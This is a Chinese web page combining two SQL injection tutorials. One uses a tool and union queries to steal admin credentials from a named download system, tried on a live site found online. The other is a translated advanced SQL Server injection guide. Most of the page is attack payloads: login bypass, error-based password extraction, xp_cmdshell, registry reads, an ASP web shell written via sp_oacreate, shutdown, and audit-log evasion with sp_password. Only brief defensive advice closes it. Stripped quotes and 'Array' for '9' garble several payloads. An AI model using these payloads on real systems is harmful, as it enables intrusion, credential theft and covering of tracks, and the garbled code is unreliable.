sql server 教程高级引用教程谁有?

当前位置 &
SQL注入的高级应用ACCESS篇!
【SQL注入工具猜解法】   普通针对ACCESS数据库的注入方法确实很烦,因为猜解本来就很烦的工作,而且这些表段这些字段还要自己手动猜解,所以人们想到了用程序去实现,于是网络上出现了不少好的工具,随着这些工具的出现,使SQL注入更加的容易。这一小节我们将为大家稍微演示一下SQL注入工具的使用。但是笔者还是想说,作为网络安全爱好者,应该懂点基础的原理,会用工具并不代表你掌握了这个漏洞。   工具:啊D的SQL注入工具   检测对象:雨点下载系统   URL:http://192.168.1.123/yd/   我们知道雨点下载系统list.asp view.asp对id参数过滤不严而产生了SQL注入漏洞,并且雨点下载系统是开放源码的,所以我们很容易知道其数据库的结构。其账号密码的信息放在表userinfo里,对应的分别为id usr pwd。   1.扫描注入点   填上要检测的网址,点检测,工具便开始自动为你检测了,如图1:
图1  这里可以看到,工具为我们扫到了两个注入点,我们就拿其中一个继续吧,选中一个网址,右键会出现菜单,点注入检测,会跳到注入检测的的画面。   2.检测表段   点检测然后程序就做好准备检测表段了,点检测表段,程序就会自动开始为你检测表段,不用再像以前输入and exists (select * from 表段名)来判断了,程序速度当然比手工快多了。如图2:
  细心的读者会看到软件的状态栏不停的显示工具所猜解的表段呵呵,我们可以向软件学习SQL注入的语法。
3.检测字段   很遗憾,程序只检测到一个表段落config,我们知道账号密码在另一个表段的userinfo,所以我们手动添加一个userinfo,在检测表段那栏点击右键会出现相应的菜单,选手动添加表,见图3:
  填加userinfo然后选中它就可以开始检测字段了。点检测字段,程序就开始自动猜解字段,如图4:
  猜解出三个字段usr pwd id,如果没有猜解出来也可以自己手动添加字段。   4.猜解字段内容   选中你要猜解的字段点右边的检测内容就可以帮你猜解长度并猜解其字符内容,如图5:
从图中看出已经猜出usr的内容为admin pwd的内容还在检测中呵呵。最后它会猜解出其它的内容,如图6:
  5.猜解后台   对于ACCESS数据库的网站,有了后台管理员的账号和密码,没有猜到后台也没有用,所以往往我是猜出有了后台才会进一步的SQL注入的,否则猜出账号密码也没有多大的用处。当然如果目标是电影站,那用SQL注入就可以得到超级会员的账号密码,就可以收费电影免费看啦?点左边的管理入口检测并可以猜解后台了。如图7:
选中你认为可能是管理入口的连接点右键会出现如图8:
  点用IE打开连接就可以打开后台的页面,输入你刚才猜解出来的账号密码就可以进后台,至于进了后台你要做什么,就看你的了。   【Union查询猜解法】   当SQL注入的是ACCESS数据库的时候,我们可以利用的就有子查询与UNION查询了。   子查询在初级篇里就讲过了,就是常规的and exists (select * from admin)之类,比如list.asp文件访问的是article这个表,我们利用子查询可以查同一个数据库下的admin表里的账号密码,也可以叫做跨表查询。当然不在同一个数据库的话可以跨库查询,后面我们会讲到。Union查询其实就是用到SQL语法中的Union函数了,关于它的用法请参考第一小节,我们开始实战Union查询。   检测对象:雨点下载系统   网站URL:/list.asp?id=78   管理后台:/admin/
  本来想本地调试的,可是我的系统出了点问题,所以上网找了个站测试一下Union查询,没有破坏的意思,见谅。至于如何判断有SQL注入漏洞,前面已经说的很详细了,只不过这个服务器把IIS的错误信息给屏蔽了,所以当出错的时候会返回:处理 URL 时服务器上出错。请和系统管理员联络。呵呵,没关系,我们继续。前面我们已经知道雨点下载系统的账号密码信息放在userinfo表段里面,其对应的字段分别为id usr pwd,而这个注入点我们已经确定其存在,所以我们构造如下的语法:   union select 1 from userinfo 结果返回错误的页面,如图9:
如果不出意外的话,本来该显示的是指字段列数不一致,因为Union函数本身的特殊性。我们继续构造如下的语法:   union select 1,2 from userinfo   union select 1,2,3 from userinfo   一直到union select 1,2,3 from userinfo才返回正常的页面,说明这里就要列三个字段了,并且发现刚才错误的地方现在显示为1,也就是说它可以用来显示我们想要知道的数据。见图10:
图10  我们构造语法:union select usr,2,3 from userinfo会显示账号的信息,如图11:
图11  我们构造语法:union select pwd,2,3 from userinfo则会显示出密码的信息,如图12:
图12当我们用这个账号密码登录后台的时候,意外的发现出错了,如图13:
  读者朋友们知道什么原因吗?对,我们要看下数据库的构造,userinfo表里面有个userclassid字段,表示他们所对应的权限,而userclass表很明确的告诉了我们什么ID对应着什么权限,这里我们要进管理后台,当然得要系统管理员的账号密码。数据库表如图14
图14  既然知道了这些,所以我们在构造Union查询的时候要加个条件where userclassid=1,即我们要得到账号信息就构造语法:union select usr,2,3 from userinfo where userclassid=1,得到的账号为fang,见图15:
图15同理我们构造语法:union select pwd,2,3 from userinfo where userclassid=1就可以得到密码信息,如图16:
图16  我们登录后台试下,输入得到的账号密码登录,就可以进到后台,如图17:
图17  就这样轻而易举的进了网站的后台,知道Union查询的威力了吧。   【ACCESS跨库查询】   前面我们讲了ACCESS的SQL注入,用到了子查询与联合查询,但是始终在一个数据库里,如果我们遇到要测试的不在同一个数据库里怎么办,有没有办法突破。我可以告诉你,有,不过要有条件:   1.使用union查询必须知道前一个select里表的字段数   2.必须知道目标数据库的所在位置,绝对路径   如果玩过黑客防线第四轮攻防实验室的朋友,都知道当时第一关就设置的2个asp+access的下载系统,一个是雨点下载系统,一个是盗帅下载系统。当时的情况是这样的:盗帅下载系统可以暴出数据库但是不让下载,似乎也没什么地方可以注射,而雨点下载系统数据库可以暴且可以直接下载,还可以注射。不过雨点的后台很简单,没什么可以利用的地方,这个时候,你该如何突破。有人开始追寻盗帅下载系统的漏洞,后来还是发现了盗帅的漏洞,而有的人则是放弃了,是不是有点过早放弃呢,而当时有人就通过雨点系统的注射点对盗帅系统的跨库查询而得到盗帅的后台密码,这可谓是跨库查询的经典的例子。感兴趣的可以参考下这里:http://www.4ngel.net/article/46.htm,本小节不再详述。
视频教程列表
文章教程搜索
输入您的搜索字词
提交搜索表单
Access数据库推荐教程
tel:<font color="#FF30058服务热线:400-702-1168 ()
您好,访客
||||||||||
SQL Server应用程序中的高级SQL注入-ASP教程,数据库相关
发布时间: 10:08:38&&来源:&&作者:&&点击:401
sql是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准sql-Array2。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。sql语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论sqlserver所使用的transact-sql语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成sql注入。
一个典型的sql语句如下:
select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
select id,forename,surname from authors where forenamejohn and surname=smith
需要着重指明的是字符串john和smith被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些sql语句,
如下:
forename:john
surname:smith
查询语句变为:
select id,forename,surname from authors where forename=john and surname=smith
当数据库试图去执行这个查询时,它将返回如下错误:
server:msg 170, level 15, state 1, line 1
line 1:incorrect syntax near hn
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行hn,但是失败。如果攻击者提供特别的输入如:
forename:drop table authors?
surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加sql语句,在其他版本的sql语言中,使用各种各样的限定符号;在数据库管理系统jet引擎中,数据可以被使用#限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
我们更进一步地使用一个简单的asp登陆页面来指出哪些能进入sqlserver数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码:
&html&
&head&
&title&login page&/title&
&/head&
&body bgcolor=000000 text=cccccc&
&font face=tahoma color=cccccc&
&center&&h1&login&/h1&
&form action=process_loginasp method=post&
&table&
&tr&&td&username:&/td&&td&&input type=text name=username size=100 width=100&&/td&&/tr&
&tr&&td&password:&/td&&td&&input type=password name=password size=100 withd=100&&/td&&/tr&
&/table&
&input type=submit value=submit&&input type=reset value=reset&
&/form&
&/font&
&/body&
&/html&
下面是process_login.asp的代码,它是用来控制登陆的:
&html&
&body bgcolor=000000 text=ffffff&
&font face=tahoma color=ffffff&
&style&
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
&/style&
&%@language = jscript %&
function trace( str ) {
if( request.form(&debug&) == &true& )
response.write( str );
function login( cn ) {
username = request.form(&username&);
password = request.form(&password&);
var rso = server.createobject(&adodb.recordset&);
var sql = &select * from users where username = & + username + & and password = & + password + &&; trace( &query: & + sql );
rso.open( sql, cn );
if (rso.eof) {
rso.close();
%&
&font face=tahoma color=cc0000&
&h1& &br&&br&
&center&access denied&/center&
&/h1&
&/body&
&/html&
&% response. }
session(&username&) = && + rso(&username&);
&font face=tahoma color=00cc00&
&h1& &center&access granted&br& &br&
welcome, &% response.write(rso(&username&)); response.write( &&/body&&/html&& ); response.end }
}
function main() { //set up connection
var username
var cn = server.createobject( &adodb.connection& );
cn.connectiontimeout = 20;
cn.open( &localserver&, &sa&, &password& );
username = new string( request.form(&username&) );
if( username.length & 0) {
login( cn );
}
cn.close();
%&
出现问题的地方是process_lgin.asp中产生查询语句的部分:
var sql=&select * from users where username=&+username+& and password=&+password+&&;
如果用户输入的信息如下:
username:;drop table users?
password:
数据库中表users将被删除,拒绝任何用户进入应用程序。?符号在transact-sql中表示忽略?以后的语句,;符号表示一个查询的结束和另一个查询的开始。?位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。
攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
username:admin?
攻击者可以使用users表中第一个用户,输入如下:
username: or 1=1?
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
username: union select 1,fictional_user,some_password,1?
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。
通过错误消息获得信息
这个几乎是david litchfield首先发现的,并且通过作者渗透测试的;后来david写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。
为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
create talbe users(
username varchar(255),
password varchar(255),
)
然后将下面的用户插入到users表中:
insert into users values(0,admin,r00tr0x!,0xffff)
insert into users values(0,guest,guest,0x0000)
insert into users values(0,chris,password,0x00ff)
insert into users values(0,fred,sesame,0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个1,这样只给他自己一个低权限的用户。
幸运地,如果从应用程序(默认为asp行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接sqlserver的权限度曲任何值。
(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
username: having 1=1?
这样将会出现如下错误:
microsoft ole db provider for odbc drivers error 80040e14
[microsoft][odbc sql server driver][sql server]column users.id is invalid in the select list because it is not contained in an aggregate function and there is no group by clause.
/process_login.asp, line 35
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:
username: group by users.id having 1=1?
出现的错误如下:
microsoft ole db provider for odbc drivers error 80040e14
[microsoft][odbc sql server driver][sql server]column users.username is invalid in the select list because it is not contained in either an aggregate function or the group by clause.
/process_login.asp, line 35
最终攻击者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1?
这句话并不产生错误,相当于:
select * from users where username=
因此攻击者现在知道查询涉及users表,按顺序使用列id,username,password,privs。
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:
username: union select sum(username) from users?
这利用了sqlserver在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:
microsoft ole db provider for odbc drivers error 80040e07
[microsoft][odbc sql server driver][sql server]the sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们username字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
username: union select sum(id) from users?
microsoft ole db provider for odbc drivers error 80040e14
[microsoft][odbc sql server driver][sql server]all queries in an sql statement containing a union operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询,例如:
username:;insert into users values(666,attacker,foobar,0xffff)?
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:
select * from master ..sysmessages
解释这些将实现有趣的消息。
一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出sqlserver的版本和所运行的操作系统信息:
username: union select @@version,1,1,1?
microsoft ole db provider for odbc drivers error 80040e07
[microsoft][odbc sql server driver][sql server]syntax error converting the nvarchar value microsoft sql server 2000 - 8.00.1Array4 (intel x86) aug 6 :48 copyright (c) 1Array88-2000 microsoft corporation enterprise edition on windows nt 5.0 (build 21Array5: service pack 2)
to a column of data type int.
/process_login.asp, line 35
这句尝试去将内置的@@version常量转化成一个整型数字,因为users表中的第一列是整型数字。
这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:
username: union select min(username),1,1,1 from users where username&a?
这句选择users表中username大于a中的最小值,并试图把它转化成一个整型数字:
microsoft ole db provider for odbc drivers error 80040e07
[microsoft][odbc sql server driver][sql server]syntax error converting the varchar value admin to a column of data type int.
/process_login.asp, line 35
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
username: union select min(username),1,1,1 from users where username&admin?
microsoft ole db provider for odbc drivers error 80040e07
[microsoft][odbc sql server driver][sql server]syntax error converting the varchar value chris to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名,他就可以开始收集密码:
username: union select password,1,1,1 from users where username=admin?
microsoft ole db provider for odbc drivers error 80040e07
[microsoft][odbc sql server driver][sql server]syntax error converting the varchar value r00tr0x! to a column of data type int.
/process_login.asp, line 35
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:transavt-sql语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:
begin declare @ret varchar(8000)
set @ret=:
select @ret=@ret+
+username+/+password from users where
username&@ret
select @ret as ret into foo
end
攻击者使用这个当作用户名登陆(都在一行)
username: ; begin declare @ret varchar(8000) set @ret=: select @ret=@ret+ +username+/+password from users where username&@ret select @ret as ret into foo end?
这就创建了一个foo表,里面只有一个单独的列ret,里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串:
username: union select ret,1,1,1 from foo?
microsoft ole db provider for odbc drivers error 80040e07
[microsoft][odbc sql server driver][sql server]syntax error converting the varchar value : admin/r00tr0x! guest/guest chris/password fred/sesame to a column of data type int.
/process_login.asp, line 35
然后丢弃(删除)表来清楚脚印:
username:; drop table foo?
这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。
获得更高的权限
一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:
1. 在数据库服务器上,以sqlserver权限利用xp_cmdshell扩展存储过程执行命令。
2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括sam键(前提是sqlserver是以系统权限运行的)
3. 利用其他存储过程去改变服务器
4. 在连接的服务器上执行查询
5. 创建客户扩展存储过程去在sqlserver进程中执行溢出代码
6. 使用bulk insert语法去读服务器上的任意文件
7. 使用bcp在服务器上建立任意的文本格式的文件
8. 使用sp_oacreate,sp_oamethod和sp_oagetproperty系统存储过程去创建activex应用程序,使它能做任何asp脚本可以做的事情
这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于sql服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入sql.。我们将依次处理以上提到的各种方法:
[xp_cmdshell]
许多存储过程被创建在sqlserver中,执行各种各样的功能,例如发送电子邮件和与注册表交互。
xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
exec master..xp_cmdshell dir
将获得sqlserver进程的当前工作目录中的目录列表。
exec master..xp_cmdshell net user
将提供服务器上所有用户的列表。当sqlserver正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。
[xp_regread]
另一个有用的内置存储过程是xp_regxxxx类的函数集合。
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
这些函数的使用方法举例如下:
exec xp_regread hkey_local_machine,system\currentcontrolset\services\lanmanserver\parameters, nullsessionshares
这将确定什么样的会话连接在服务器上是可以使用的
exec xp_regenumvalues hkey_local_machine,system\currentcontrolset\services\snmp\parameters\validcommunities
这将显示服务器上所有snmp团体配置。在snmp团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
这很容易想象到一个攻击者可以利用这些函数读取sam,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程]
xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:
exec master..xp_servicecontrol start,schedule
exec master..xp_servicecontrol start,server
下表中列出了少量的其他有用的存储过程:
xp_availablemedia 显示机器上有用的驱动器
xp_dirtree 允许获得一个目录树
xp_enumdsn 列举服务器上的odbc数据源
xp_loginconfig reveals information about the security mode of the server
xp_makecab 允许用户在服务器上创建一个压缩文件
xp_ntsec_enumdomains 列举服务器可以进入的域
xp_terminate_process 提供进程的进程id,终止此进程
[linked servers]
sql server提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用sp_addlinkedsrvlogin过程,当前可信的连接不用登陆就可以访问到服务器。openquery函数允许查询脱离服务器也可以执行。
[custom extended stored procedures]
扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到sql服务器上,还有其它包括了多种自动通讯的通讯机制,比如http下载和ftp脚本。
一旦动态连接库文件在机器上运行即sql服务器能够被访问??这不需要它自己是sql服务器??攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):
sp_addextendedproc xp_webserver,c:\temp\xp_foo.dll
在正常的方式下,这个扩展存储过程可以被运行:
exec xp_webserver
一旦这个程序被运行,可以使用下面的方法将它除去:
xp_dropextendedproc xp_webserver
[将文本文件导入表]
使用bulk insert语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中,如:
bulk insert foo from c:\inetpub\wwwroot\process_login.asp
可以使用上述的错误消息技术,或者使用union选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者asp脚本代码是非常有用的。
[使用bcp建立文本文件]
使用bulk insert的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。bcp,即bulk copy program
既然 bcp可以从sql服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。
命令行格式如下:
bcp &select * from text..foo& queryout c:\inetpub\wwwroot\runcommand.asp ?c -slocalhost ?usa ?pfoobar
s参数为执行查询的服务器,u参数为用户名,p参数为密码,这里为foobar
[activex automation scripts in sql server]
sql server中提供了几个内置的允许创建activex自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者asp脚本程序一样??他们使用vbscript或javascript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在transact-sql中做任何在asp脚本中,或者wsh脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用wscript.shell对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate wscript.shell,@o out
exec sp_oamethod @o,run,null,notepad.exe
我们可以通过指定在用户名后面来执行它:
username:; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,null,notepad.exe?
(2)这个例子使用scripting.filesystemobject对象读一个已知的文本文件:
--scripting.filesystemobject example ? read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret=sp_oamethod @f,readline,@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,readline,@line out
end
(3)这个例子创建了一个能执行通过提交到的任何命令:
-- scripting.filesystemobject example ? create a run this.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1
exec @ret=sp_oamethod @f,writeline,null,&% set o=server.createobject(&wscript.shell&):o.run(request.querystring(&cmd&)) %&
需要指出的是如果运行的环境是win nt4+iis4平台上,那么通过这个程序运行的命令是以系统权限运行的。在iis5中,它以一个比较低的权限iwam_xxxaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用speech.voicetext对象引起sql server发声:
declare @o int,@ret int
exec sp_oacreate speech.voicetext,@o out
exec sp_oamethod @o,register,null,foo,bar
exec sp_oasetproperty @o,speed,150
exec sp_oamethod @o,speak,null,all your sequel servers are belong to,us,528
waitfor delay 00:00:05
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
username:declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,null,foo,bar exec sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,null,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
[存储过程]
传说如果一个asp应用程序在数据库中使用了存储过程,那么sql注入是不可能的。这句话只对了一半,这要看asp脚本中调用这个存储过程的方式。
本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么sql注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。
比较好的常规的标准是:
?如果一个asp脚本能够产生一个被提交的sql查询字符串,即使它使用了存储过程也是能够引起sql注入的弱点。
?如果一个asp脚本使用一个过程对象限制参数的往存储过程中分配(例如ado的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全的。
明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。
为了阐明存储过程的查询注入,执行以下语句:
sp_who 1 select * from sysobjects
or
sp_who 1;select * from sysobjects
任何一种方法,在存储过程后,追加的查询依然会执行。
[高级sql注入]
通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。
在这部分,我们讨论一些能帮助攻击者饶过那些明显防范sql注入,躲避被记录的技术。
[没有单引号的字符串]
有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用vbscript中的replace函数或类似:
function escape(input)
input=replace(input,&&,&&)
escape=input
end function
无可否认地这防止了我们所有例子的攻击,再除去;符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个sql注入的弱点。
如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如:
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+charArray0x6Array)+char(0x73), char(0x63)+char(0x68)+char(0x72)+charArray0x6Array)+char(0x73),
0xffff)
这就是一个能够往表中插入字符串的不包含单引号的查询。
淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用:
insert into users values(667,
123,
123,
oxffff)
sql server自动地将整型转化为varchar型的值。
[second-order sql injection]
即使应用程序总是过滤单引号,攻击者依然能够注入sql同样通过应用程序使数据库中的数据重复使用。
例如,攻击者可能利用下面的信息在应用程序中注册:
username:admin?
password:password
应用程序正确过滤了单引号,返回了一个类似这样的insert语句:
insert into users values(123,admin?,password,0xffff)
我们假设应用程序允许用户修改自己的密码。这个asp脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下:
username = escape( request.form(&username&) );
oldpassword = escape( request.form(&oldpassword&) );
newpassword = escape( request.form(&newpassword&) );
var rso = server.createobject(&adodb.recordset&);
var sql = &select * from users where username = & + username + & and password = & + oldpassword + &&;
rso.open( sql, cn );
if (rso.eof)
{

设置新密码的代码如下:
sql = &update users set password = & + newpassword + & where username = & + rso(&username&) + &&
rso(&username&)为登陆查询中返回的用户名
当username为admin?时,查询语句为:
update users set password = password where username=admin?
这样攻击者可以通过注册一个admin?的用户来根据自己的想法来设置admin的密码。
这是一个非常严重的问题,目前在大型的应用程序中试图去过滤数据。最好的解决方法是拒绝非法输入,这胜于简单地努力去修改它。这有时会导致一个问题,非法的字符在那里是必要的,例如在用户名中包含符号,例如
obrien
从一个安全的观点来看,最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话,他们仍然要被过滤;在这种情况下,保证所有进入sql查询的数据都是正确的是最好的方法。
如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据,这种方式的攻击也是可能的。应用程序可能有email接口,或者可能在数据库中可以存储错误日志,这样攻击者可以努力控制它。验证所有数据,包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用,例如:
if(not isvalid(&email&,request.querystring(&email&))) then
response.end
或者类似的方法。
[长度限制]
为了给攻击者更多的困难,有时输入数据的长度是被限制的。当这个阻碍了攻击时,一个小的sql可以造成很严重的危害。例如:
username:;shutdown?
这样只用12个输入字符就将停止sql server实例。另一个例子是:
drop table &tablename&
如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定16个字符,密码也被限定16个字符,那么下面的用户名和密码结合将会执行上面提到的shutdown命令:
username:aaaaaaaaaaaaaaa
password:; shutdown?
原因是应用程序尝试去过滤用户名最后的单引号,但是字符串被切断成16个字符,删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始,它可以包含一些sql语句。既然这样查询看上去是:
select * from users where username=aaaaaaaaaaaaaaa and password=;shutdown?
实际上,查询中的用户名已经变为:
aaaaaaaaaaaaaaa and password=
因此最后的sql语句会被执行。
[审计]
sql server包含了丰富的允许记录数据库中的各种事件的审计接口,它包含在sp_tracexxx类的函数中。特别有意思的是能够记录所有sql语句,然后在服务器上执行的t-sql的事件。如果这种审计是被激活的,我们讨论的所有注入的sql查询都将被记录在数据库中,一个熟练的数据库管理员将能够知道发生了什么事。不幸地,如果攻击者追加以下字符串:
sp_password
到一个transact-sql语句中,这个审计机制记录日志如下:
--sp_password was found in the text of this event.
-- the text has been replaced with this comment for security reasons.
这种行为发生在所有的t-sql日记记录中,即使sp_password发生在一个注释中。这个过程打算通过sp_password隐藏用户的密码,但这对于一个攻击者来说是非常有用的方法。
因此,为了隐藏所有注入,攻击者需要简单地在?注释字符后追加sp_password,例如:
username:admin?sp_password
事实上一些被执行的sql将被记录,但是查询本身将顺利地从日志中消失。
[防范]
这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的代码,然后我们将从事sql server锁定。
[输入验证]
输入验证是一个复杂的题目。比较有代表性的是,自从过于严密地确认倾向于引起部分应用程序的暂停,输入确认问题很难被解决,在项目开发中投入很少的注意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中,因此它一般会被忽视。
下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于应用程序中,但是它十分清晰地阐明了不同的策略。
不同的数据确认方法可以按以下分类:
1) 努力修改数据使它成为正确的
2) 拒绝被认为是错误的输入
3) 只接收被认为是正确的输入
第一种情况有一些概念上的问题;首先,开发人员没必要知道那些是错误数据,因为新的错误数据的形式始终被发现。其次,修改数据会引起上面描述过的数据的长度问题。最后,二次使用的问题包括系统中已经存在数据的重新使用。
第二种情况也存在第一种情况中的问题;已知的错误输入随着攻击技术的发展变化。
第三种情况可能是三种中最好的,但是很难实现。
从安全角度看合并第二种方法和第三种方法可能是最好的方法??只允许正确的输入,然后搜索输入中已知的错误数据。
带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子:
quentin bassington-bassington
我们必须在正确输入中允许连接符号,但是我们也意识到字符序列?对sql server很重要。
当合并修改数据和字符序列确认时,会出现另一个问题。例如,如果我们应用一个错误过滤在除去单引号之后去探测?,select和union,攻击者可以输入:
union select @@version--
既然单引号被除去,攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现。
这有一些确认代码的例子:
方法一??过滤单引号
function escape(input)
input=replace(input,&&,&&)
escape=input
end function
方法二??拒绝已知的错误输入
function validate_string(input)
known_bad=array(&select&,&insert&,&update&,&delete&,&drop&,&?&,&&)
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)&&0) then
validate_string=false
exit function
end if
next
end function
方法三??只允许正确的输入
function validatepassword(input)
good_password_chars=” abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzArray”
validatepassword=true
for i=1 to len(input)
c=mid(input,i,1)
if(instr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function
[sql server锁定]
在这指出的重要一点是锁定sql server是必要的;外面的是不安全的。这是一个但创建sql server时需要做的事情的简短的列表:
1.确定连接服务器的方法
